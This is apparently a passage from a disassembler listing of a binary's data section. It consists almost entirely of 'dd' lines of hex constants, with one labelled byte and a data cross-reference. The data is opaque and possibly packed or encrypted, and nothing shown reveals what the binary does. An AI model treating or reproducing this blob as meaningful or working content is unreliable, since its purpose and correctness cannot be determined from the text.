		dd 9DB870F9h, 0DF524A7Eh, 39C089EDh, 20B589EDh,	0FF3109BDh
		dd 305582E1h, 5403F0Ch,	0BA9D4E31h, 88137F10h, 5B471101h
		dd 0BB90EEF8h, 5F45C502h, 1990F9FDh, 86120F03h,	0DBAB04F8h
		dd 82F9C094h, 9F0E22Fh,	0A7BCD393h, 0A1B52686h,	659D890Eh
		dd 6092DD1Fh, 0C7AB9AAEh, 81DF60D8h, 22B2AFFBh,	1261E07Ah
		dd 0F8C6FBBDh, 11F0D82h, 0B472F03Dh, 80FEA3CDh,	9D1218E1h
		dd 0C90A6785h, 2BF0AEA1h, 0A1E8D6FDh, 0AE922h, 9F02D71Bh
		dd 45FD5349h, 0FE62C72Ch, 17FBB917h, 0AF6EAF42h, 837D6309h
		dd 9B40E55h, 732898FAh,	6BEB0392h, 28C0AC3Ch, 0A2FDDEC0h
		dd 0A7A57F03h, 2133E231h, 16F1057Eh, 0F9034C18h, 22BF669Eh
		dd 32B3C918h, 1A95B17Ah, 0A0D2C067h, 16D03522h,	0EF4F06B1h
		dd 8A0FF621h, 0DD438663h, 1704E818h, 1F6603FFh,	0BD395276h
		dd 0BB109ED0h, 0EE4BD115h, 0C9AB221h, 7D21FB40h, 40D23CC9h
		dd 4DB4600h, 0C648F8B6h, 0F5D83E06h, 5AAB8B5Fh,	0C0FEF850h
		dd 664CEABBh, 8B5B315Eh, 0FDC99310h, 0FE71454Fh, 0BB3BBCCh
		dd 0D88B5806h, 0AE3D1885h, 9BBA60C5h, 0CC8B80C3h, 0E0510994h
		dd 646C486Dh, 5824DD10h, 0C4540B13h, 47BD16h, 644A4E7Eh
		dd 0A04A87E2h, 9DA26320h, 0C14C3838h, 0BE527D00h, 115F4903h
		dd 36F6750Ah, 960215E8h, 60BFCB99h, 39E391h, 27665C31h
		dd 6F2A470Bh, 0C0C66058h, 6333227Eh, 0FEF10011h, 7A9D441Fh
		dd 4CB0E58Eh, 0A0A7E700h, 6E95F61h, 0D8BBB302h,	0CE0BAA37h
		dd 0A4CD73ADh, 23816044h, 49071061h, 524CC505h,	0FC9AAA9Dh
		dd 0F6717BC0h, 60164ACAh, 30EB8D0Fh, 0B58BC0A6h, 6F353D33h
		dd 1F1885C7h, 0CD7BD1EBh, 7B855024h, 0AEE0B3A6h, 0CD0047B4h
		dd 0B0C0E4BEh, 38334E86h, 8941D9BDh, 772A55E6h,	7EE0A66Dh
		dd 62F336h, 6FC7813Dh, 894918E9h, 0CF040678h, 4707906Ch
		dd 0E09D6CD9h, 891E82CBh, 0BAC30446h, 96051D92h, 0FA66C3BFh
		dd 0F81508AEh, 5BC4B5FFh
		dd 1BC6EADh, 0A34FB500h, 50342A6Ah, 20AC4BB7h, 0CE1965C2h
		dd 0F0A6200h, 0A068F9BFh, 90722448h, 36046076h,	2BFA51A9h
		dd 83826A38h, 0E0DD6BAAh, 81A8E16Fh, 3C5F7130h,	7DC8ACBBh
		dd 0F06028CFh, 5B5C7405h, 97A26501h, 0E62CBBDAh, 0E26F0FDDh
		dd 1A080028h, 0F564F360h, 772D099Ch, 8D0070FBh,	104A72CCh
		dd 8D5B6212h, 9BBAE752h, 0BDA1C19Ch, 3D50A6E2h,	1C7C4D7h
		dd 0E107A70Bh, 0C01E83DEh, 0DF261F0h, 4063D414h, 50FE16C5h
		dd 0F4DD66FBh, 7BDEB3h,	918F84ACh, 0BD0BE637h, 490EC149h
		dd 20BE9787h, 0EBD390C6h, 63032A72h, 0D9E148C9h, 2B3AA815h
		dd 1252BD9Dh, 0DC615F2Fh, 0A700DC2Ch, 0D04EE4ECh, 5F3BF6B0h
		dd 0C2FAEC6Bh, 0E685C7F5h, 1302B998h, 0E9B605DFh, 9C4C92Fh
		dd 4DD764CFh, 0F458F697h, 0A51CFA73h, 0CE2E45E9h, 0A62A00F6h
		dd 546308BCh, 843D5A1Fh, 1128081h, 30502E6Bh, 7311B80Ch
		dd 90C1F444h, 0EA4F55Fh, 894C1FB0h, 0C0685803h,	366EEBE7h
		dd 6421F036h, 1BB170CFh, 28299A50h, 58180621h, 57016813h
		dd 0BD54B1Bh, 6537F74Fh, 0A8B22D00h, 26F4D807h,	13BCB5F0h
		dd 8B6C88F8h, 7ADC931Eh, 0D60656C7h, 12B7773Bh,	0B52FAB00h
		dd 259D8B0Dh, 0CA392879h, 0F7147003h, 0DD56045Ch, 0E47919A4h
		dd 0EACFDDF6h, 0FA0BBC40h, 0D09800DBh, 1FC7181Ah, 661342BBh
		dd 0A5082145h, 0B5756B54h, 6FDF0995h, 969D102h,	40CC4FFDh
		dd 10DA6AB3h, 0FE6B1226h, 261F3508h, 0D7481077h, 1C9D6AEFh
		dd 0B101E5F6h, 0DAE44856h, 9DDFBD61h, 6CAE88FBh, 0CA6F6B00h
		dd 0B479E519h, 0E01A1688h, 0BEC11759h, 6004E218h, 0F8E63881h
		dd 0B4C3581h, 6515598Dh, 838320D5h, 24342686h, 0A3B0A190h
		dd 6894D08Dh, 140C4E00h, 0B6BF66FFh, 29B8A010h,	37418232h
		dd 682D245h, 9D940BA5h,	120543A0h, 318519C5h, 20511844h
		dd 0C4868902h, 616EEFFDh, 0D4E10FEBh, 54FE8F8h,	7AFA4456h
		dd 0CBF30FE3h, 3FCCE119h, 1BE88236h, 0DC28FB60h, 890F5B09h
		dd 4B4E7Fh, 0F20BD415h,	61C44A2Eh, 0CF392DB8h, 0C283899Fh
		dd 0CA4D5704h, 522B0860h, 1C781B0Ch, 0CF9854D7h, 8D2E01C8h
		dd 89849629h, 19E12050h, 8CEF9A6h, 8A3FD8E3h, 0B60F499Dh
		dd 0D709B847h, 90E1CA6Dh, 1EC42082h, 0F873847h,	3B908CA5h
		dd 6578C51Dh, 2E045CD2h, 47142255h, 0CFED9AA5h,	0AC25A2E0h
		dd 0D0517Bh, 0EF84C81h,	2A01C205h, 0C689315Ch, 5421BBADh
		dd 1EC2F7C6h, 5833D375h, 0C2C4F6F1h, 65140579h,	9423A512h
		dd 0CA3830Ch, 52693377h, 98625F04h, 0B6960404h,	82E8E0A2h
		dd 0E2F90508h, 8CD2E04Ah, 0AA1EEF13h, 7CC25416h, 0C247F2DAh
		dd 11AF37FCh, 9123801Ch, 575DE3h, 58B09276h, 12C99501h
		dd 0DA2484B9h, 9BBF0C35h, 0EE308054h, 0B09E1166h, 14951033h
		dd 77718913h, 0CE40C5EFh, 2BDB643h, 60767591h, 0C68F50BFh
		dd 0F7E5BBC0h, 5F5041F4h, 0B351B7C9h, 769325CBh, 925E0DFh
		dd 11C80060h, 0DF8A2A28h, 822F0F26h, 614C910Ah,	9D2DEC2Eh
		dd 0C56DBFC1h, 7A664F18h, 8D3018E2h, 0B75A12D8h, 0D90EFB6h
		dd 0E92A71h, 54BC72F6h,	0E14682C6h, 0DC5BEF28h,	7405AD2Fh
		dd 0C00F4F2h, 0B5BF8375h, 2B94E19Dh, 2F638EB7h,	0DD4C2FCh
		dd 94F20907h, 112D5A0h,	0E20B4B7h, 2B1C911h, 0A77D0E04h
		dd 8F9EB037h, 4C3C028Bh, 1A456A5h, 1AD59260h, 3838F881h
		dd 77BD0F27h, 86DD4900h, 25C0BE11h, 0C406AE0Ah,	3C93B4C6h
		dd 37E24278h, 115800Fh,	355185C7h, 5710A565h, 15813B37h
		dd 0FFF118E9h, 26DFDC6h, 702715C0h, 8A3516FCh, 5F874E57h
		dd 3741C169h, 16A82B1Eh, 66DAEAA5h, 0C60AD80h, 0F1001766h
		dd 5DE78150h, 3C2F0A63h, 0AF2905Bh, 1D3D8529h, 94402C32h
		dd 0BB030830h, 628F2E46h, 0A3118E12h, 61A9C1EAh, 0FFF50205h
		dd 5B50DBC0h, 8F22E798h, 0D98A2702h, 0B3F92801h, 0F8509CEBh
		dd 38D0E9EBh, 840F118Ch, 95090406h, 8100284Dh, 91B443CBh
		dd 65EF5B4Bh, 54DAFA52h, 2D09A883h, 10A56010h, 0F9DF8D38h
		dd 0E1F8B7h, 0BB66DC85h, 0D1FFEAF6h, 73F97BBDh,	200913B9h
		dd 0C4BC06B8h, 0E80FDD8Bh, 84173D1Ah, 0FD928525h, 620F00BDh
		dd 392C80D0h, 547DB509h, 3802AA1Fh, 4ADD9D31h, 5ABEBF03h
		dd 8B923050h, 7357FA92h, 1A1F58D8h, 0A2AE6D12h,	34A98504h
		dd 0D9B70F02h, 16C446EDh, 82B89160h, 41BD2B09h,	2DA0490Fh
		dd 3D88D9ACh, 0B2F4F8DFh, 107C441Bh, 423C1BDh, 5B58B60h
		dd 9D331090h, 48C7B201h, 5E0F9661h, 0DBB6168Fh,	60F78265h
		dd 4BE36036h, 61DEED50h, 0D63CC113h, 859009D3h,	0D84B5DE6h
		dd 6FD213AFh, 0F53B138Bh, 64540901h, 882C35FFh,	820C690h
		dd 4025DDFBh, 0F781660Dh, 5F878D27h, 1C11AE35h,	33736B80h
		dd 1E02CA42h, 6A746C49h, 70F753FFh, 0B900F048h,	56E72521h
		dd 4A71B589h, 5DA14B13h, 0D7819620h, 962CE160h,	3190F279h
		dd 147E90Ch, 75208DFBh,	48B0700Bh, 1A201833h, 9870E626h
		dd 0C4372B9Ah, 0ED250025h, 3E769B30h, 0A002F488h, 0E40DE1B4h
		dd 653F4071h, 55F69D25h, 0A06F1046h, 8221197Ah,	4A006F59h
		dd 5A856F6Ch, 0A8C51E52h, 89764FD0h, 8287A43Eh,	0C8B60F5Bh
		dd 9D98C6F7h, 7400EB56h, 0BAF2E84Fh, 248C8A06h,	770F6AFAh
		dd 0C1606DC8h, 43D5A92Dh, 17B2F83Bh, 1FAD88Ah, 2BFE8B16h
		dd 0B99C88C8h, 89600210h, 1CCBE195h, 0DC0BF6D8h, 8B614000h
		dd 3CD6BFD1h, 77444C79h, 0E9C37509h, 3606F10h, 0C699515h
		dd 17B0C099h, 164A48Bh,	0C06F4194h, 9C0BCB95h, 0B9EA8552h
		dd 0E3251EB6h, 0AD065186h, 5218401h, 70745F02h,	3BBC4BCh
		dd 1F6C1B8Fh, 15065DE9h, 153D9D09h, 0C0DC97CBh,	592D06Eh
		dd 0EE61F63Ah, 8201858Dh, 623A1959h, 79293180h,	3BDE0028h
		dd 0F65FF8B3h, 813DD804h, 3E87E11Fh, 80A58382h,	0BD01FE28h
		dd 0AADFD089h, 4C55EA69h, 91B397F5h, 29011DE2h,	8732BD9Dh
		dd 0F36EAB4Bh, 0F5308702h, 0B86A9690h, 0CDDD8CA9h, 60174451h
		dd 2CEF2EBh, 593FBB45h,	95415E15h, 0B9F9855Dh, 0B3210761h
		dd 9D48E8DEh, 832B0097h, 8C11E455h, 4F04CF93h, 2DB8B21Dh
		dd 0D8807AACh, 86BCA463h, 0E2A09200h, 0B7D1BEBh, 17FD0405h
		dd 0E85FA3EEh, 0DBDB4A7Fh, 0FC7F2182h, 0DC6A5Ch, 0CC493E19h
		dd 0B764E5D2h, 0BD27139Eh, 1D3B25FFh, 44C07AC2h, 5E8222C5h
		dd 9B148D9h, 0B4D32981h, 501753E9h, 0A00EDB22h,	0B24BD4D5h
		dd 0B29B904h, 13A063E7h, 9F023F2Bh, 659D23ECh, 880D0225h
		dd 21A965A2h, 5E43EA09h, 7902F458h, 2F0CB8BBh, 0E5734164h
		dd 0DA4B9868h, 0C017C885h, 0DD39B753h, 0BC097498h, 0D1D98A80h
		dd 0BD0B588Eh, 0F69D23F2h, 4600DE01h, 0D3F0A2D4h, 4EF553CBh
		dd 2F6C8A5Fh, 0F6C77696h, 0E521F900h, 98A5031h,	0D80D4585h
		dd 0E09A59BDh, 8204B85Dh, 74C78FC3h, 1D46D69Ah,	38B96900h
		dd 8CCE9B28h, 107EA604h, 0F6EAE1FFh, 4680B0D2h,	0BBEA0177h
		dd 5C55A432h, 14202B60h, 4219BD1h, 1FB65F77h, 0A1CEE861h
		dd 0E39D0456h, 0A2BE53BBh, 92608FCCh, 0C077DBBAh, 0F18D0928h
		dd 0FC418210h, 0BFB71102h, 0F3EA283Ah, 9A3061D2h, 0F2E2D1h
		dd 56FDEABFh, 0A836A5ECh, 1B69EB12h, 0FFB1C80h,	5F7C8689h
		dd 27DC3F96h, 0EEC6391Bh, 12F367B0h, 0CB527523h, 56DF8297h
		dd 404FD460h, 0BC3BA195h, 6DFECF00h, 0B116C14Ah, 40BA3266h
		dd 6FD45B96h, 90737A40h
		dd 0C0876284h, 0DE745FD9h, 311FB542h, 0DAE41762h, 93DF49B8h
		dd 0FF64258Ch, 9D7F88h,	7F7D67E9h, 2657CDD6h, 95005178h
		dd 9E64818h, 0D260BCA3h, 259CF38Eh, 0FE61C190h,	23EDFDD6h
		dd 0D965D5C2h, 8CCB00B9h, 96C9D9ADh, 70903F07h,	0C682A02Fh
		dd 58DB576Ah, 0FD3E0173h, 4658729Ah, 0A7BFFC1Fh, 29B00713h
		dd 66C1A0A2h, 3A07B3BFh, 16317D5Dh, 0EF49E952h,	9677B83Fh
		dd 1030C685h, 3D8CFABBh, 9B5A36ACh, 188B8B16h, 0ACA1E9h
		dd 8310D1F7h, 917B3C28h, 0CD4E8B07h, 731E1FBFh,	9A4EA9A7h
		dd 69E4803Bh, 1393F72Eh, 197B388h, 0A318DF5Ah, 86A2752h
		dd 130C5D9Dh, 60B6A35Fh, 3D67CB32h, 1C726E9h, 0B405F6AFh
		dd 83480B5Ah, 0BD4938F0h, 0A997A4F8h, 4134CF50h, 3A961EA1h
		dd 0DEEF3D12h, 70C28779h, 0AD47D4D0h, 272CB872h, 406295BDh
		dd 8061615Eh, 743A65D7h, 0A0FDB639h, 24296467h,	44C0BB6h
		dd 0C089D860h, 0D919D2Ah, 9FFA8B88h, 1491A635h,	0E8F98384h
		dd 0BD987352h, 303B3441h, 0EACC21Bh, 0AAF61100h, 1B28B887h
		dd 0C0100098h, 250CB52Ch, 340BA1E4h, 0C15FF88Bh, 80315184h
		dd 5B27183Dh, 5B907146h, 6846A79Fh, 6EE2F600h, 7FBF0156h
		dd 5F7DB883h, 0FF468781h, 0FDEBFDF5h, 69D12990h, 3EDDB100h
		dd 12DE8E25h, 0FB620439h, 0C0712B7Dh, 8116D273h, 0DDCBC702h
		dd 745F5B83h, 0B7FD4B29h, 192882B9h, 6F7C502Bh,	4EC986Fh
		dd 8B601324h, 0C31430C6h, 0D9096AF0h, 37618988h, 9F1711D5h
		dd 0F3B9B205h, 11E95E91h, 0B593110h, 0D0B4411Fh, 0F2E1D380h
		dd 42EE53Ch, 9FCFE33Bh,	95A78161h, 0F1B80412h, 0CEF59BB5h
		dd 565A3A9Eh, 852B51EEh, 29B58929h, 3B25F0BDh, 1F03D5Fh
		dd 0B70F6BF4h, 0E53B2FDAh, 83A3BEA4h, 56BF20F7h, 214EDC4Eh
		dd 0CA193F09h, 5CADC2B3h, 10E371B9h, 43119D29h,	27D0CD09h
		dd 0F7B8843Dh, 133A7109h, 2FDBF00Fh, 0D79AF6F3h, 1DCF954h
		dd 0C564032Bh, 0DA14408Ah, 55E9BA5Eh, 5CE14AC7h, 82E539Eh
		dd 0A22C2E58h, 58001111h, 7FE36B50h, 9400E03Ch,	954653Dh
		dd 122BFF11h, 0F35F02EBh, 6BAF4ACFh, 0C07E005Ch, 1DCD14CAh
		dd 29BE09B8h, 0BC7973B3h, 0E1B7A7h, 4E2E8EB5h, 8D0128BAh
		dd 5723BB50h, 0B8353197h, 0EDB80729h, 8D37DE14h, 6CB6D2E7h
		dd 29BC7FF0h, 12ED9510h, 2AE98D4Bh, 5BAC62E9h, 0F64BD1Dh
		dd 0EEF723C1h, 116A5643h, 0EAD2D463h, 0A13C1EC9h, 0C54C5C80h
		dd 8745EE2h, 52CBD604h,	17E8E1ECh, 829BDBD6h, 74A2C24Dh
		dd 95C26E2Fh, 0D0731285h, 5BF85684h, 8C59D3BCh,	0A11D64BCh
		dd 215270B4h, 1B60C7F0h, 27810F51h, 86865A82h, 614B7311h
		dd 2C0FD1CCh, 639EFEBFh, 9AB8273Dh, 1006D7Fh, 621E559Dh
		dd 526D4BAh, 6ECBE2C0h,	59A80B19h, 9865828h, 0CF55B886h
		dd 0BA804F11h, 0CE62566h, 47E96028h, 0E745DD00h, 0BE58FA36h
		dd 804C0F49h, 4A62EE21h, 0BE613DA9h, 88C3E870h,	717A8B9Fh
		dd 7396002Bh, 0BE57558Ch, 0CF79CE1Dh, 46DC49A6h, 37B61715h
		dd 0B860ABCCh, 2A513489h, 0EA7F800Fh, 7E9F7E29h, 0AF336EABh
		dd 23C6888h, 0C4800985h, 49464F8Eh, 0BB2F9101h,	3C2C1963h
		dd 0B7C257Bh, 52ED3402h, 111D3CE0h, 8075562Bh, 0E3CE124Ah
		dd 0F52925B0h, 2FD9F311h, 0E15C9828h, 9AB01267h, 7222D1C9h
		dd 0E6E1D9Dh, 0E4BB8650h, 82BEE2F0h, 57F04DEh, 82CDC5F9h
		dd 88C0D968h, 0D7C52809h, 0B3F135B5h, 23206B2Eh, 0E9BB001Dh
		dd 0F7F61485h, 381EEB13h, 25DB8DB0h, 7BED9C30h,	0E601664h
		dd 0F54FC07Dh, 0D5A0A28Ah, 8F164953h, 7130B18Ch, 6AC1Ah
		dd 833F7FDCh, 6269B089h, 13018B1Eh, 5F66FAC4h, 0DBD78EBCh
		dd 2063804Ch, 9F6ED3Bh,	0BA1F745Eh, 6246B079h, 0D4B79533h
		dd 22BDEA0Eh, 0D882D4E6h, 11B40E3h, 69D251F8h, 6A5BB2E7h
		dd 0EFC601CAh, 0BF666CECh, 2C891CD0h, 0BF593D9Dh, 0FAC7495Eh
		dd 18DA957Bh, 0F0386Ch,	8F93E49h, 5007CB80h, 0A9BD8909h
		dd 7CE85D10h, 2FE3FFF2h, 8CAC26B9h, 40AC5697h, 2A7D8589h
		dd 48A6F49Dh, 7C9DD6F8h, 5ECE82CBh, 9FFE4C9Ch, 7912D509h
		dd 3D42ADCAh, 87794DC0h, 89544F08h, 15467604h, 3A80651Ah
		dd 0ABDF9405h, 26786EA2h, 47217B3h, 0BC725CBBh,	0BD6E5BB8h
		dd 620DBD04h, 95C2C147h, 258578CDh, 50AD4190h, 249D23D4h
		dd 4F3415F5h, 0BD030678h, 3912ED5Fh, 0FD5FB0E3h, 0EB740118h
		dd 0D19DE545h, 2BEC530h, 53CD9A26h, 0A05E2061h,	0EA31626Dh
		dd 0AD221A69h, 75D1FF25h, 688004B5h, 3B60D229h,	90AC782Dh
		dd 1E0920A2h, 0FA5FFAF7h, 0CA614B2Eh, 5BBA2592h, 2E33D979h
		dd 0D5738201h, 2568026Ah, 0DF6586D2h, 0EA509027h, 40767E70h
		dd 0CD07A97h, 91A97604h, 0B4AF310Fh, 3B3048E6h,	0F0898475h
		dd 89A09F70h, 5F616056h, 0B79010C9h, 0B8CC87FDh, 783C1037h
		dd 932C5CACh, 1F90349Fh, 31B58904h, 11535619h, 0C0239BFEh
		dd 0BD33015h, 81844B03h, 207925h, 970E23E9h, 0D520BA96h
		dd 860F2FB3h, 0AE602124h, 824E71B2h, 6461619Ch,	0CDADA569h
		dd 601864BDh, 4E8CB14h,	8B901F1Eh, 818A85D8h, 401AD8Bh
		dd 6F938DB9h, 0C5AA098Ch, 9CA57AB0h, 920DF64Ch,	0AA09A7EDh
		dd 0AAC1522Eh, 36C19ADBh, 3DFF6A1Ah, 123EB8DBh,	0E2BB20E3h
		dd 81833C84h, 0BF554417h, 96FC2857h, 0DA683AD0h, 65120A5Ch
		dd 0E8A9BD1Bh, 7FF202A2h, 0B9FF475h, 15C4E05Eh,	5FD0B049h
		dd 90970DF0h, 5EE4FEDAh, 34E9C871h, 4D45C300h, 0A0D01E93h
		dd 542600B0h, 87672370h, 5F4BF9EFh, 54E8D6D2h, 49C74179h
		dd 0BE182F1Fh, 4B04DF10h, 30B5C9A2h, 45B0FF11h,	1DAB0F97h
		dd 0F94937A4h, 0BF20003Ch, 1EE68748h, 0D7450D02h, 4049183Ch
		dd 812C1194h, 0C7472F5Fh, 14BC19BDh, 0C1852429h, 0D1C3A54Bh
		dd 70BE1F1h, 2040D166h,	810121C9h, 0DA6A26E7h, 0CC2BE969h
		dd 0E6279CDh, 0D8998533h, 0B10297F0h, 5B578A0Fh, 0B72F8092h
		dd 945B8DF5h, 0E277CE00h, 79CACFE8h, 2EB20D03h,	3B40AC0Ah
		dd 0C94517ECh, 11CC482Eh, 899ACB1h, 0B33EE901h,	4AA13217h
		dd 0F326AFB3h, 0DC614B18h, 98823BCh, 0C7456FBDh, 141BA5EAh
		dd 991981FEh, 4795452Fh, 80FAC070h, 0B097F4EBh,	5A2722AEh
		dd 0E26EEA17h, 56095E13h, 0BE18454Ah, 0DEB6C12Ch, 0E052A646h
		dd 7B809809h, 181459AFh, 0B966C7C1h, 0EFF31908h, 1209F7D0h
		dd 0FEF5D102h, 892E6C89h, 57E4FF1Bh, 0D2E075B6h, 0C2A1A595h
		dd 2D287549h, 6EBE4FACh, 0F6570006h, 64C426A0h,	9B7516B4h
		dd 7489AF45h, 4C060C91h, 296D1061h, 5FD1044Ah, 9197BC0Ch
		dd 0F0B6BCF2h, 0CD953F09h, 0A0B4CE4Bh, 0E4692195h, 5E5727F5h
		dd 64014C37h, 0E1F487F6h, 1A3D8141h, 30FB8B01h,	56716050h
		dd 95706697h, 0AC026737h, 2C14E8E9h, 0E500D7D6h, 19B88E57h
		dd 5671DBh, 82984D08h, 0CB6229D8h, 7894EE5Ch, 545C3F04h
		dd 38B1505Fh, 2F22D1D6h, 48855837h, 9ECC0F46h, 0F7FB1E0Ch
		dd 0C87DC456h, 0D2F6BDE4h, 4FA8F2B9h, 298D0913h, 20CACFE5h
		dd 0D1122646h, 0BBF06507h, 4D423CAEh, 92975D5Fh, 409ECDADh
		dd 0A8AA4129h, 0CDA16F02h, 66AD80E8h, 525C07D0h, 0B7AC3727h
		dd 456F3079h, 64021871h, 0A35E1FB8h, 40CA5CEBh,	2C08FF38h
		dd 0E20D3D01h, 0BC2AA296h, 2426283Ah, 5DF52989h, 1201B634h
		dd 74163995h, 0C0B2BFEDh, 0FF06CC4Bh, 8452E125h, 0B4BC5F34h
		dd 4103A0A1h, 2C8520h
		dd 4B21B531h, 8588B323h, 4A0803A2h, 0F2F59249h,	85588899h
		dd 0A0058501h, 20B56001h, 0EC80CBAAh, 0D6614CE8h, 679C541Dh
		dd 0F3041044h, 3A5FCCA4h, 9B5B69BCh, 8CEA926Fh,	0B2D73DB0h
		dd 97F97788h, 0B3376E89h, 0A6B17084h, 984E3FBh,	7915299Dh
		dd 1DDF9A92h, 12DC2A56h, 0B7B537F6h, 6C6A5FBDh,	0F96E9909h
		dd 569FAC7Ah, 5A00DE53h, 5090C503h, 587BB52h, 0F6D23C9h
		dd 5A1CE831h, 807103BFh, 644EFDF3h, 0B9143BA1h,	685DFDC1h
		dd 0A75EB1CBh, 0F75835A5h, 0C0FDA209h, 0AD625B58h, 23F65B5h
		dd 109415D2h, 0F44C664Ch, 55140292h, 2329AB0Fh,	2FD88161h
		dd 28C43229h, 0EBBB45E9h, 2FBAD4A9h, 9D890F30h,	25CB9641h
		dd 0BB04F766h, 2B2EA1BFh, 68D9D3B8h, 0D3302ED9h, 1D9DB1BFh
		dd 16092114h, 89954FDDh, 0B79AFBB2h, 38022ACBh,	162A23E9h
		dd 0BBB777A5h, 70C63289h, 805750D3h, 5B3304A5h,	0AAFCB750h
		dd 4ABD024h, 122C65D6h,	19AC2BBDh, 798D028Ch, 699FE2CCh
		dd 57529A74h, 0DB09992Dh, 1F1C4348h, 9CA82AC6h,	8E403FBCh
		dd 38E47611h, 9080AD38h, 5684B1BEh, 6A0098A5h, 8F88AF31h
		dd 0E55B5F50h, 884E0D72h, 0F2001512h, 0FC57B3C8h, 43AF5D2h
		dd 89DCD85Fh, 0B8AAA958h, 12AB0242h, 0BE148DA4h, 8049AC5Ch
		dd 1AD1A148h, 0E6F000EFh, 6A7D421h, 0F9FC5AD5h,	9D238412h
		dd 0AF4584FFh, 1B23586Bh, 8DBBDB16h, 558041E9h,	80466822h
		dd 0BE6050DEh, 8E4E0F21h, 0B6926107h, 0FB33E050h, 7C6400CCh
		dd 0C7BE2E7Eh, 2688E0Fh, 0F62BE425h, 79202728h,	0A3614B1Bh
		dd 0BD318112h, 392E1899h, 3D536B3Dh, 32EFAFA0h,	601333E9h
		dd 1E1044DEh, 61D9E661h, 80C82C56h, 799B899Ch, 5B622552h
		dd 1A5CFEC7h, 0D5998531h, 0E6F1B341h, 1670DD5Ch, 504F9505h
		dd 0A5E07340h, 0B55705A2h, 81B031C5h, 4F118D74h, 4DF12C4h
		dd 0C0829BBFh, 0BEFDC2F6h, 5C110014h, 0ADC781C6h, 2E4B4A8Bh
		dd 6BA11E8Ah, 0A639Eh, 8FC55391h, 4BE006C8h, 4C0CCDFEh
		dd 34006ED2h, 9976BCF4h, 0F6F68EBh, 2E8C36E1h, 42BB7042h
		dd 46D6E65Ch, 940E001Dh, 60C7E3B3h, 0FA7F2E6h, 3153BF3Dh
		dd 0EA734F49h, 26181859h, 4B762E09h, 3097EEDh, 5F70F2BFh
		dd 9F75ACB4h, 0B1844E0Ah, 0CBBF1900h, 0B5966875h, 68015737h
		dd 0F1BD0395h, 447DE925h, 0FD290DADh, 83FC6AA2h, 6AFBB592h
		dd 8A00777Ah, 2820BA96h, 0A40F5253h, 42BBADCDh,	5D500398h
		dd 28250238h, 8D090785h, 0D3723815h, 0AEEA504Eh, 0DA8AA10Bh
		dd 914457h, 0FAD22B88h,	67FB1CBCh, 82312F3Bh, 2C75A799h
		dd 4B49F018h, 0FCE5325Bh, 162E055Eh, 68DD03DCh,	18ED9D01h
		dd 2050DB12h, 4A00E76Fh, 5CCD6D93h, 0BC5C68A2h,	6ADC1828h
		dd 9763D508h, 0F7CD229Ah, 0A9E7FEE0h, 2C3A2790h, 294490DFh
		dd 1351258Dh, 6D6B1AD1h, 0DC63404Eh, 0DB0465AAh, 25D19D33h
		dd 0B096F7EFh, 0A08AFCEFh, 9A8F8183h, 0CAEF976Ch, 0A8323B60h
		dd 0FB860087h, 62790B91h, 0DB17B70Fh, 24CC3FB3h, 0ED8D2789h
		dd 57504E80h, 0A009BF60h, 0E35A5C2h, 13F53226h,	82599B3Bh
		dd 0D012FE3Ah, 21214163h, 2EAEE937h, 19239B6Bh,	9B1FD00h
		dd 0BE5CE074h, 0BE0A0EFEh, 0A9FFCF80h, 0D5903BD9h, 791E3125h
		dd 61356BFAh, 0F8F9CE80h, 109E35h, 810B8096h, 86C684D7h
		dd 6CCA574Bh, 0E4974A22h, 5DFC97EFh, 365EE8E0h,	7D90093h
		dd 2BADB633h, 0B50A5441h, 0BE631EA4h, 0DED5A6h,	49A9DE07h
		dd 60021E75h, 27BB4B02h, 0AB50459Dh, 0D87053BFh, 604B3D71h
		dd 0F6814ECCh, 85F41614h, 0C4CE2A03h, 1ABC7895h, 618589C2h
		dd 94959A58h, 9F7C70FCh, 0E0441C6Fh, 4AD9E3BBh,	0B6FAF1C4h
		dd 0EEE9F0BAh, 0F61927BDh, 0E41BF70h, 0D831D2DBh, 9DC67058h
		dd 0FDCA15Ch, 0B86A19F9h, 99F2E7E0h, 9E974EDFh,	706E9316h
		dd 0A1267694h, 0D5080ED6h, 0B4E9091Ch, 11B11078h, 3FCECC83h
		dd 710DE018h, 0F64A0250h, 0FE8AC18Bh, 3D49D05Ch, 0D46A0062h
		dd 0C0FD84D6h, 4D6D1309h, 2D6E5E2Bh, 92339F7Fh,	0BEE47017h
		dd 3ED6E9E7h, 0E7033F6Fh, 5BD2394h, 19C5B4F4h, 9BBC45Ah
		dd 0E78D82Dh, 30476195h, 75BD0B00h, 5000E6B4h, 3EAA4BBh
		dd 5CFD23Fh, 272FFD91h,	0AF9DB498h, 3725ED5Eh, 0D83480D6h
		dd 2B7F681Bh, 66FC6B12h, 9AD3CABDh, 4A9F8408h, 0A9C374AFh
		dd 120A898h, 53C2F1CDh,	526D9D2Bh, 0C2595B92h, 5626B00h
		dd 2587E1EEh, 79CDD1FFh, 1747AEC0h, 2E0FAD8h, 22E8BF2Ch
		dd 17C06B58h, 99256CB9h, 1A45E52Ah, 0C17345C3h,	4D6A6170h
		dd 58BC1D02h, 0BBD29209h, 0E50902E4h, 0B3900329h, 907750D2h
		dd 1DFCDAh, 0DF284C51h,	7AAC6E74h, 67E5E712h, 0FD0068B2h
		dd 3A03C121h, 6104685Dh, 0BE9BF8AFh, 5BCE22FCh,	0D2ED9029h
		dd 0AEC827C1h, 72BD11D4h, 0B35252Bh, 0DBA554E5h, 0F0FC50A8h
		dd 2AF0AD4Eh, 2E912DFh,	0C94EF20Ch, 0BFBA1023h,	317C0E0Ch
		dd 0F772199Dh, 3AA64141h, 2024B152h, 0AD9020B9h, 0A94B7C0h
		dd 1700184Ah, 497BC23h,	4BB18B32h, 1A15D95Fh, 1432C16Eh
		dd 352F64B5h, 0DCC8B113h, 0F4F96A5Bh, 0A89C39B5h, 6790D525h
		dd 0C709F381h, 736931EDh, 400711B3h, 0B05BDE98h, 0C4D85500h
		dd 8170E6h, 0B3999BD3h,	8971E44Bh, 177D9512h, 0E6C97DBCh
		dd 702597E4h, 60A6C2C0h, 9D152101h, 74690BD4h, 8AD68FEh
		dd 5A3B0E75h, 0EC00FCE3h, 445B9DD7h, 0F7021A49h, 3CF1BF5Fh
		dd 32C25C12h
		db 0F2h, 0F8h, 7Dh
byte_544547	db 59h			; DATA XREF: ___:off_445258o
		dd 0FB033E13h, 0DA8AC82Bh, 0FFF1D1F2h, 0E3629101h, 0B5EBCD24h
		dd 0AC095516h, 6471DE03h, 82E6E585h, 68B25050h,	24A35C16h
		dd 6CB111A9h, 4541BD12h, 128DD815h, 0E4921B97h,	736C0056h
